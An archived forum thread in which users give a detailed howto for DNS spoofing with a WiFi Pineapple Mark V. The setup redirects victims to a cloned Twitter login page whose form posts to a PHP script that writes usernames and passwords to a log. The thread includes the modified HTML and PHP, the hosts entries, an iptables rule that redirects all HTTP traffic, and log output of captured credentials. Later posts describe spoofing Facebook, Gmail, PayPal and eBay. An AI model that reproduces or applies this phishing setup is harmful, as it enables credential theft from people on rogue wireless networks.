Jump to content

Archived

This topic is now archived and is closed to further replies.

cmw

[Howto] dnsspoof with the Pineapple Mark V

Recommended Posts

I have been at this for hours with some very random and inconsistent results. Passing the point of frustration I decided to back up, clear everything out and take a very methodical (and documented) approach. I had a terrible time getting dnsspoof to work the way I wanted it to. In short, dnsspoof works (resolution) but the redirection did not. The interweb is full of people saying "it doesn't work" with replies from people saying "yes it does". Tutorials are in short supply so this post, which started with me saying "it doesn't work" has now turned into a tutorial that shows that it does work. So, in hopes of saving you some of the pain and heartache I went through here, is a very detailed, step-by-step approach to getting dnsspoof to work the way it is advertised to work. At the very end is a point that the folks who made this lovely Pineapple MarkV need to address (i.e fix). Here is my set up and my process:

  • Mark V reset to factory defaults.
  • Mark V firmware version 1.3
  • Pineapple does has Internet connectivity
  • dnsspoof version 1.5 is installed on the SD card
  • sslstrip is also installed but is not active
  • Wireless client (supplicant) is Windows8 with Chrome (but I have also tried Firefox). I have also tried an iPhone/iPad with IOS 7 and both Safari and Chrome.

My setup is:

My setup is:

************            ****************             *******************         *******
| Internet |------eth0--| Debian Linux |--(-eth1)----| Pineapple MarkV | ) ) ) ) | Win7|
************            ****************             *******************         *******

All of the following changes were made after a fresh factory reset and dnsspoof NOT running. All changes were saved and verified before starting dnsspoof.

Default hosts file has been changed from:

172.16.42.1 example.com
 

to

172.16.42.1 *starwars.com

My default redirect.php has been changed from:

root@Pineapple:~# cat /www/redirect.php
<?php
        $ref = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];

        if (strpos($ref, "example")){
		header('Status: 302 Found');
                header('Location: example.html');
        }

        require('error.php');

?>

to:

Note: I have backed away from any fancy stuff in the page I am trying to redirect to in order to make sure that it's not part of my problem.

<?php
        $ref = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];

        if (strpos($ref, "starwars")){
                header('Status: 302 Found');
                header('Location: calvin.html');
        }

        require('error.php');

?>
  • I created a folder called 'web' in /sd/.
  • I have put calvin.html and allyourbase.jpg in /sd/web/ and created virtual links to /www. The incredibly simple calvin.html file is:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
  <title>Somebody Set Up Us!!!</title>


</head><body>
<div style="text-align: center;"><br>
<img style="width: 640px; height: 550px;" alt="All Your Base Are Belong To Us!" src="allyourbase.jpg"><br>
</div>

</body></html>

My virtual links:

root@Pineapple: /www# ln -s /sd/web/* /www/
root@Pineapple: ls -al
drwxr-xr-x    1 root     root             0 Jan  1 00:14 .
drwxr-xr-x    1 root     root             0 Jan  1  1970 ..
lrwxrwxrwx    1 root     root            23 Jan  1 00:13 allyourbase.jpg -> /sd/web/allyourbase.jpg
lrwxrwxrwx    1 root     root            19 Jan  1 00:13 calvin.html -> /sd/web/calvin.html
-rw-r--r--    1 root     root           678 Mar 16  2014 error.php
-rw-r--r--    1 root     root           102 Mar 16  2014 index.php
-rw-r--r--    1 root     root           244 Jan  1 00:21 redirect.php

My error.php page is unmodified from the default and is set to:

<?php
$ref = $_SERVER['HTTP_REFERER'];
$today = date("F j, Y, g:i a");
if (isset($_POST['name']) && !empty($_POST['name'])) {
        $nam = stripslashes($_POST['name']);
        $pas = stripslashes($_POST['pass']);
        $nam = htmlspecialchars($nam, ENT_QUOTES);
        $pas = htmlspecialchars($pas, ENT_QUOTES);

        $content = $today . "  --  " . $ref . "  --  " . $nam . "  --  " . $pas;

        $filed = @fopen("/pineapple/logs/phish.log", "a+");
        @fwrite($filed, "$content\n");
        @fclose($filed);
}
?>

<html><head>
<script type="text/javascript">
function goBack()
{
window.history.back()
}
</script>
</head>
<body onload="goBack()">
</body></html>

On my Windows8 wireless client I am using Google Chrome. From a prompt I have flushed the resolver cache:

ipconfig /flushdns

Also On my Window8 wireless client I have opened Chrome and I have chrome://net-internals/#dns open and have cleared Chrome's cache.

From this point, I start dnsspoof.

From a command prompt on my Windows 7 client I ping www.starwars.com as well as a bunch of stuff I made up about starwars.com to verify that dnsspoof is working for ANYTHING.starwars.com:

Pinging www.starwars.com [172.16.42.1] with 32 bytes of data:
Reply from 172.16.42.1: bytes=32 time=2ms TTL=64

Ping statistics for 172.16.42.1:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 2ms, Maximum = 2ms, Average = 2ms

Pinging starwars.com [172.16.42.1] with 32 bytes of data:
Reply from 172.16.42.1: bytes=32 time=6ms TTL=64

Ping statistics for 172.16.42.1:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 6ms, Maximum = 6ms, Average = 6ms

Pinging ftp.east.starwars.com [172.16.42.1] with 32 bytes of data:
Reply from 172.16.42.1: bytes=32 time=5ms TTL=64

Ping statistics for 172.16.42.1:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 5ms, Maximum = 5ms, Average = 5ms

Pinging asdfjkl.12345.starwars.com [172.16.42.1] with 32 bytes of data:
Reply from 172.16.42.1: bytes=32 time=1ms TTL=64

Ping statistics for 172.16.42.1:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 1ms, Maximum = 1ms, Average = 1ms

From Chrome I go to www.starwars.com and the faked calvin.html page displays correctly! Awesome.

Next I viewed the real twitter home page using Chrome (from a different computer than what is part of this lab). In Chrome I saved the real twitter home page (File --> Save Page As...) as twitter.html (Format = Webpage, HTML Only)

I opened this file in a text editor (Text Wrangler) and on line 137 found (note that the line number may change):

<form action="https://twitter.com/sessions" class="t1-form signin" method="post">

and changed it to:

<form action="error.php" class="t1-form signin" method="post">

On line 139 of twitter.htm I changed:

<input type="text" id="signin-email" class="text-input email-input" name="session[username_or_email]" autocomplete="on" placeholder="Username or email">

to:

<input type="text" id="signin-email" class="text-input email-input" name="name" autocomplete="on" placeholder="Username or email">

On line 147 I changed:

<input type="password" id="signin-password" class="text-input flex-table-input" name="session[password]" placeholder="Password">

to:

<input type="text" id="signin-password" class="text-input flex-table-input" name="pass" placeholder="Password">
  • I saved the file and copied it to the /sd/web/ folder. I did a quick grep to satisfy myself that the modified twitter.html file is the one I copied up and then made virtual links to the /www folder:

From my Linux box:

scp twitter.html root@172.16.42.1:/sd/web/

From my ssh connection to the Pineapple MarkV:

root@Pineapple:/sd/web# ls -l twitter.html
-rw-r--r--    1 root     root         45935 Jan  1 01:17 twitter.html

root@Pineapple:/sd/web# cat twitter.html | grep error.php
  <form action="error.php" class="t1-form signin" method="post">

root@Pineapple:/sd/web# ln -s /sd/web/twitter.html /www/twitter.html

root@Pineapple:/sd/web# ls -al /www/
drwxr-xr-x    1 root     root             0 Jan  1 01:23 .
drwxr-xr-x    1 root     root             0 Jan  1  1970 ..
lrwxrwxrwx    1 root     root            23 Jan  1 00:59 allyourbase.jpg -> /sd/web/allyourbase.jpg
lrwxrwxrwx    1 root     root            19 Jan  1 00:59 calvin.html -> /sd/web/calvin.html
-rw-r--r--    1 root     root           678 Mar 16  2014 error.php
-rw-r--r--    1 root     root           102 Mar 16  2014 index.php
-rw-r--r--    1 root     root           244 Jan  1 00:21 redirect.php
lrwxrwxrwx    1 root     root            20 Jan  1 01:23 twitter.html -> /sd/web/twitter.html

I stopped dnsspoof on the Pineapple Mark V and made the following changes (using the web interface):

Host file was modified to:

172.16.42.1 *starwars.com
172.16.42.1 *twitter.com

redirect.php was modified to:

<?php
        $ref = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];

        if (strpos($ref, "starwars")){
		header('Status: 302 Found');
                header('Location: calvin.html');
        }
        if (strpos($ref, "twitter")){
		header('Status: 302 Found');
                header('Location: twitter.html');
        }

        require('error.php');

?>

With all of these changes made I now restart dnsspoof.

From a command prompt on my Windows8 wireless client I clear my resolver cache and verify that ANYTHING.twitter.com now resolves to 172.16.42.1 (the Pineapple).

Pinging www.twitter.com [172.16.42.1] with 32 bytes of data:
Reply from 172.16.42.1: bytes=32 time=10ms TTL=64

Ping statistics for 172.16.42.1:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 10ms, Maximum = 10ms, Average = 10ms

Pinging twitter.com [172.16.42.1] with 32 bytes of data:
Reply from 172.16.42.1: bytes=32 time=3ms TTL=64

Ping statistics for 172.16.42.1:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 3ms, Maximum = 3ms, Average = 3ms

Pinging anything.twitter.com [172.16.42.1] with 32 bytes of data:
Reply from 172.16.42.1: bytes=32 time=3ms TTL=64

Ping statistics for 172.16.42.1:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 3ms, Maximum = 3ms, Average = 3ms

Pinging asdf.1234.twitter.com [172.16.42.1] with 32 bytes of data:
Reply from 172.16.42.1: bytes=32 time=2ms TTL=64

Ping statistics for 172.16.42.1:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 2ms, Maximum = 2ms, Average = 2ms
  • From Chrome on the Windows8 client I open chrome://net-internals/#dns and clear the cache (just to be sure I don't have any twitter stuff in there).
  • I then type in www.twitter.com into the address bar and am redirected to: http://www.twitter.com/twitter.html. Awesome! I enter a username and password, click "Sign in" and the screen flashes and redirects me back to the same page (as expected). Note: you will know you are on the right page because the password, when typed in, will be displayed in plain-text. A savvy user and aware user might notice this but most would not.

And now the problem: In order to write entered credentials the error.php file in /www/ refers phish.log on this line:

$filed = @fopen("/pineapple/logs/phish.log", "a+");

The only problem is that phish.log does not exist (nor does the /pineapple/log/ directory) and in my testing it was not automatically created.

To correct this I did this:

From an ssh connection the Pineapple MarkV:

mkdir /pineapple/logs/
touch /pineapple/logs/phish.log
chmod 777 /pineapple/logs
chmod 777 /pineapple/logs/phish.log

Note: chmod 755 is probably a better permission set but I wrote this with the intention of making sure something simple didn't prevent things from working.

Now let's try following our newly created log file (phish.log) from the ssh connection while users attempt to log in:

root@Pineapple:/www# tail -f /pineapple/logs/phish.log
January 1, 2014, 1:49 am  --  http://www.twitter.com/twitter.html  --  cmw  --  pass1234
January 1, 2014, 1:56 am  --  http://www.twitter.com/twitter.html  --  johnsmith  --  wannab1337
January 1, 2014, 1:56 am  --  http://www.twitter.com/twitter.html  --  marymary  --  whyyoubuggin

If you would like a copy of the files I used please PM me. I'll try to get them over to or post them up somewhere if enough folks ask for them. Thanks.

-Colin

Share this post


Link to post
Share on other sites

Update: I am still having some odd and inconsistent behavior. I let the configuration I detailed above sit for a little while (no edits) and suddenly the client stared going to the real starwars.com and real twitter.com web sites. But here's the rub: everything on the wireless client (starwars.com and twitter.com) still resolves to 172.16.42.1. If I flush my DNS resolver cache (ipconfig /flushdns), empty my browser cache (Firefox, Safari (iOS) or Chrome) and clear my resolver cache (Chrome) at chrome://net-internals/#dns (which still resolves to 172.16.42.1 as well) nothing changes. (On Firefox I went to about:config and created and integer item called Network.dnsCacheExpiration and set it to 0 in order to disable Firefox's name cache).

I rebooted the Pineapple and started dnsspoof again and everything began to work correctly. It appears that something is crashing. Need to investigate more...

Also note that the redirection for twitter.com does not work on my iPhone. If you use Chrome on your iPhone and look at the resolution results in chrome://net-internals/#dns you will see that 172.16.42.1 and other public addresses are resolved. When I run a capture on the interface between my Pineapple Mark V and my Linux box I can see DNS queries being sent to 8.8.8.8 (Google DNS). This suggests that Chrome has some hardcoded DNS entries (that I don't know the details of at the moment) and is using both 8.8.8.8 and 172.16.42.1 for DNS (as evidenced by the dual resolution on the output of chrome://net-internals/#dns. The client iPhone is being redirected to mobile.twitter.com which is also getting dual resolution (fake & real) but the browser is preferring the real IP. Browsers used to be so simple... (sighs)...

I added a rule to iptables that dropped all traffic to 8.8.8.8 but that just seems to cause to the client browser (Chrome) to give me 404 errors.

My browser on the Windows8 client is also suddenly|randomly redirecting to https whenever I type in 'www.twitter.com'. How that redirection is happening when twitter is being resolved to 172.16.42.1 is intriguing. Is there something buried in the browser that I don't know about for sites like twitter? Where is that redirection coming from if the real twitter isn't being hit?

And now, a few hours later I find the original randomness that has been so frustrating. Without having changed a single setting (only rebooting the Pineapple and restarting dnsspoof) nothing works any more. My client still resolves to 172.16.42.1 but the REAL pages are being loaded. I know, I know, that makes no sense...

I'm ready for someone to rain some cold hard facts on me here. I want to be able to reproduce consistent behavior and cannot find an error in my config. Discuss.

Share this post


Link to post
Share on other sites

Hopefully this is something Seb and Whistemaster (if he made the module) can look at.

Share this post


Link to post
Share on other sites

dnsspoof is running and my wireless client is connected. A traffic capture (Wireshark) on the Windows8 client shows a DNS query to www.starwars.com sent to 1721.6.42.1. The client receives two (2) response packets from 172.16.42.1 resolving www.starwars.com to 172.16.42.1 and then to 208.72.12.225 (the real IP). I did NOT expect that second resolution to come in ...bummed about that one. Curiously, pinging www.starwars.com from the Windows8 client only shows 172.16.42.1 as the resolved address. Google chrome://net-internals/#dns also only shows 172.16.42.1 as the resolution for www.starwars.com. Since the real starwars.com page loaded I fully expected to see a 3-way handshake with 208.72.12.225 and then a bunch of packets between it an my client...but I didn't.

After this the client establishes a connection with 172.16.42.1 (as if it were starwars.com) (Yay!) but 172.16.42.1 returns the real starwars.com web page (Boo!). No packets are ever sent by the wireless client to the real starwars IP address. But there is no redirection to redirect.php. The capture indicates that the Pineapple is proxying the request to the real starwars.com web site. Yes, dnsspoof is running.

Next I capture traffic as it passes through my upstream Linux box (the machine the Pineapple is connected to) and it shows 172.16.42.1 sending an HTTP GET request to 208.72.12.225. The Pineapple just went and got the real starwars page... So the Pineapple proxies my client requests? I did not know this. The Pineapple is bridging the radio interfaces with eth0 but where is the proxy stuff coming from? I thought my clients were being NAT-ted at the upstream Linux box?

Oh wait, did sslstrip (which may have been running) just go get my unencrypted traffic, too? I think so.

Are sslstrip and dnsspoof with redirection mutually exclusive? Something is up because in the middle of typing this I uninstalled the sslstrip Infusion, rebooted the Pineapple and guess what... it works on 2 out of 3 browsers (IE and Firefox both got my fake starwars and fake twitter pages, Chrome loads the fake starwars page but would not load the fake twitter page and even gave me the real twitter page after I tried several time in a row). I'm tickled that it worked but I still don't know how to consistently reproduce the results. And now I have more questions about the ability of sslstrip and dnsspoof to play nice with each other.

Share this post


Link to post
Share on other sites

I've verified dnsspoof working on 1.4.0. Simply replaced index.php with Hello World and started the dnsspoof with the default config. Connected from an Android and browsed to example.com. Got Hello World.

Will follow up with sslstrip.

Interesting about Chrome/Twitter - wonder if there's something going on in the browser.

Share this post


Link to post
Share on other sites

Did you try to reproduce the situation with different browsers?

Share this post


Link to post
Share on other sites

Did you try to reproduce the situation with different browsers?

Many browsers, yes.

- From IOS I have tried Firefox, Chrome and Safari

- From Windows I have tried Firefox, Chrome, and IE

- From OSX I have tried Chrome, Firefox & Safari

I have had to set my exploration of this aside but will pick it back up again in the next few days and will share my results.

Share this post


Link to post
Share on other sites

Hello everyone,

First of all i don't speak english, so sorry if i'm writing wrongly.

Second thing is that i want to make a little and personal tutorial (based on my own experience) for making a good guide that a few scattered threads.

  • 1) Tip: Factory Reset. If we want a clean configuration and reduce the posibities of fail it's recommended a Factory Reset, so we will go to:

Configuration---> Advanced---> Factory Reset Pineapple

  • 2) Now, we have a good and clean Pineapple :D! Second we need to install dnsspoof, so we are going to:

Pineapple Bar---> Pineapple Bar Available---> User infusions [show]---> dnsspoof [install]---> dnsspoof infusion [install dependencies]

Very important!: DON'T install "Fake captive portal files" because in previous Firmware this files change a important file (i will mention this later).

Aclaration!: It seems like an older firmware issue (1.4.1). Actually i don't have "Fake captive portal files" installed, so you can run dnsspoof without these files or you can install it in 2.0.2 and try if it's working for you.

  • 3) Connect via SCP to your pineapple (i use WinSCP for Windows. You can use whatever you want.) and search for this files:

1)/etc/nginx/nginx.conf

2)/etc/config/dhcp

3)etc/pineapple/spoofhost

Now we will do this for everyone:

1)/etc/nginx/nginx.conf*---> If we have this:

server { # php/fastcgi

listen 8080;

We will change it to this:

server { # php/fastcgi
listen 80;

*Note: in previous Firmware this file was automatic change when 'Fake Captive Portal Files' was install.

2) /etc/config/dhcp---> Verify if we have this in lastest lines of the file:

list 'dhcp_option' '3,172.16.42.1'

list 'dhcp_option' '3,172.16.42.1'
list 'dhcp_option' '6,172.16.42.1'
list 'dhcp_option' '6,172.16.42.1'

3) etc/pineapple/spoofhost---> About this... In the strange case that we have ^M characters we will remove it, if not we don't need to do nothing except

establish our spoofed webs.

  • 4) Finally now SSH to your Pineapple and type this IPTable Rule:

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 172.16.42.1

Change the "-A" to "-D" to drop the rule.

The explanation for this iptable rule by Darren:

These limitations could potentially be overcome with iptables rules to redirect the IP traffic rather than the DNS queries. Meaning if example.com is cached as 93.184.216.119 and you reroute that IP to 172.16.42.1 it wouldn't matter if the browser has DNS cached or not.

Here is the end of my little tut, these tips help me a lot to get a funcional infusion. Of course, we will have certain limitations. Please, if there is something wrong tell me, or if you have more tips tell me too.

Extra tips:

  • I try this method with an Android's browser like a victim.
  • Victim has his broswer clean or with 'Incognito Mode' ON.
  • Also try this in Google Chrome, clean or with 'Incognito Mode' ON---> 100% Success (even SSL Webs); without cleaning in Normal Mode---> Only can spoof Non-SSL Webs.

CREDITS: to all people that help me, thanks!

Share this post


Link to post
Share on other sites

Lots of people seem to be struggling with this, great guide.

I do however have one thing to note: Step 4 actually redirects all http traffic to the pineapple, no matter what the dns entry for it is (as every request on port 80 is redirected).

Unless you want to spoof dns for some reason (and be more detectable), you'll just want that command.


I had a little thing like this working lately, which will make it to a firmware release in the future.

Best Regards,

Sebkinne

Share this post


Link to post
Share on other sites

Lots of people seem to be struggling with this, great guide.

I do however have one thing to note: Step 4 actually redirects all http traffic to the pineapple, no matter what the dns entry for it is (as every request on port 80 is redirected).

Unless you want to spoof dns for some reason (and be more detectable), you'll just want that command.

I had a little thing like this working lately, which will make it to a firmware release in the future.

Best Regards,

Sebkinne

Sebkinne,

Are you suggesting doing all but Step 4 then? Seems like it would defeat the purpose of the redirect file in letting some through and redirecting only targets to the page...

Share this post


Link to post
Share on other sites

Step 4 was the key for me, doing this I can redirect SSL webs! I test it, when you use that iptable rule the victim can navigate normally, even with pineapple redirecting all http traffic and dnsspoof works like a charm even with the protocol SSL!

Share this post


Link to post
Share on other sites

Hello everyone,

First of all i don't speak english, so sorry if i'm writing wrongly.

Second thing is that i want to make a little and personal tutorial (based on my own experience) for making a good guide that a few scattered threads.

  • 1) Tip: Factory Reset. If we want a clean configuration and reduce the posibities of fail it's recommended a Factory Reset, so we will go to:
  • 2) Now, we have a good and clean Pineapple :D! Second we need to install dnsspoof, so we are going to:
  • 3) Connect via SCP to your pineapple (i use WinSCP for Windows. You can use whatever you want.) and search for this files:

Now we will do this for everyone:

  • 4) Finally now SSH to your Pineapple and type this IPTable Rule:

This final step will increase out capacity for stablish working connections to our spoofed webs.

Here is the end of my little tut, these tips help me a lot to get a funcional infusion. Of course, we will have certain limitations. Please, if there is something wrong tell me, or if you have more tips tell me too.

CREDITS: to all people that help me, thanks!

Thanks for tut, the step 4 is really important for the whole job done. I tried many time with dnsspoof and realize we must redirect http to pineAP so we can pass cookies problem (remember ip of website).

But I have one problem, it work with facebook, but fail when i test with gmail. If anyone success with gmail, let me know how to do it. Thanks everyone, especially daniboy92.

Share this post


Link to post
Share on other sites

Actually, if you do this with a cleaned browser (deleting cache, cookies, historial, etc) or in a Private Session you will spoof any page that you want.

But... I think it depends of the browser's victim. I am using my default browser from my smartphone, and I have 100% success and I can spoof Facebook, Gmail, yahoo, PayPal, eBay and whatever Web, but only with a clean browser had 100% success.

Unfortunately this method will have more or less success depending on a few variables like browser's victim, version, if it's starting SSL connection or not...

Share this post


Link to post
Share on other sites

With Chrome also can spoof webs but only with a previous cleaning, if it's not clean only can spoof non-ssl webs.

Share this post


Link to post
Share on other sites
daniboy92 to the rescue! Great work! Thanks!

Request: Please do more tutorials!! Yes?

Share this post


Link to post
Share on other sites

Hmmmm.....maybe a captive portal that requires a clean broswer before allowing entry to the interwebs...

Share this post


Link to post
Share on other sites

Well.... this is not accurate. The Fake captive portal files feature does not modify any configuration file, but only copy files (ncsi.txt and success.html) to the main web server directory to fool iOS or Windows devices and show to the user that he's really connected to a true Access Point.

Very important!: DON'T install "Fake captive portal files" because in previous Firmware this files change a important file (i will mention this later).

*Note: in previous Firmware this file was automatic change when 'Fake Captive Portal Files' was install.

Share this post


Link to post
Share on other sites

Well.... this is not accurate. The Fake captive portal files feature does not modify any configuration file, but only copy files (ncsi.txt and success.html) to the main web server directory to fool iOS or Windows devices and show to the user that he's really connected to a true Access Point.

Thanks for your reply Whistle Master. I think in this firmware it isn't a problem, in the previous it was because i see it in my own Pineapple. I will edit my post and clarify this point it's only for people in 1.41.

Thank you very much!!!

Share this post


Link to post
Share on other sites

Yeah i notice this doesn't work against websites now days with SSL on them example: facebook.com

just shows their is no connection to the site.

Share this post


Link to post
Share on other sites

Yeah i notice this doesn't work against websites now days with SSL on them example: facebook.com

just shows their is no connection to the site.

I'm noticing the same problem. Is there a solution to this? Like a way to also redirect the ssh connection?

Share this post


Link to post
Share on other sites

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...